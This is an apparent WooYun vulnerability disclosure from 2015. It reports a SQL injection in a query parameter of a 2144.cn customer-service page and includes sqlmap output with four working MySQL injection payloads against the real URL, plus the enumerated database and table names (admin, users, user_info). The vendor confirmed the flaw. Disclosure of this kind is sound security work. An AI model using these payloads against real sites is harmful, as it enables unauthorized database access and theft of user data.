当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0144208

漏洞标题:2144某站存在SQL注入(涉及8万游戏黄金礼包)

相关厂商:2144.cn

漏洞作者: 深度安全实验室

提交时间:2015-09-30 11:29

修复时间:2015-11-14 11:34

公开时间:2015-11-14 11:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-30: 细节已通知厂商并且等待厂商处理中
2015-09-30: 厂商已经确认,细节仅向厂商公开
2015-10-10: 细节向核心白帽子及相关领域专家公开
2015-10-20: 细节向普通白帽子公开
2015-10-30: 细节向实习白帽子公开
2015-11-14: 细节向公众公开

简要描述:

详细说明:

http://kf.2144.cn/query?content=1&type=3

01.jpg

sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: content (GET)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause
Payload: content=1' AND (SELECT 3689 FROM(SELECT COUNT(*),CONCAT(0x71706b7071,(SELECT (ELT(3689=3689,1))),0x7162706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'pkqy'='pkqy&type=3
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries (SELECT - comment)
Payload: content=1';(SELECT * FROM (SELECT(SLEEP(5)))gKva)#&type=3
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
Payload: content=1' AND (SELECT * FROM (SELECT(SLEEP(5)))AAlG) AND 'rxqJ'='rxqJ&type=3
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: content=1' UNION ALL SELECT CONCAT(0x71706b7071,0x43677675616477526f64,0x7162706b71),NULL,NULL-- &type=3
---
web application technology: Nginx
back-end DBMS: MySQL 5.0
Database: web_2144_news
[46 tables]
+-----------------------+
| group |
| act_360_card |
| act_card |
| act_dice |
| act_group |
| act_item |
| act_msg |
| act_num |
| act_peroid |
| act_qs |
| act_qs_userip |
| act_tg |
| act_wl150529_code |
| act_wl150529_gold |
| adcont |
| admin |
| attribute |
| category |
| category_assignment |
| category_stat |
| channel |
| city |
| detail |
| element |
| element_click |
| element_extend |
| element_stat |
| element_votes |
| guoqing_score_consume |
| guoqing_score_user |
| guoqing_sign |
| kf |
| ploy |
| ploy_consume |
| ploy_income |
| ploy_item |
| ploy_rank |
| ploy_user |
| province |
| search_record |
| tbl_migration |
| user_info |
| users |
| video |
| video_relate |
| video_stat |
+-----------------------+

33.png

44.jpg

漏洞证明:

修复方案:

版权声明:转载请注明来源 深度安全实验室@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2015-09-30 11:32

厂商回复:

感谢您对2144安全工作的支持

最新状态:

暂无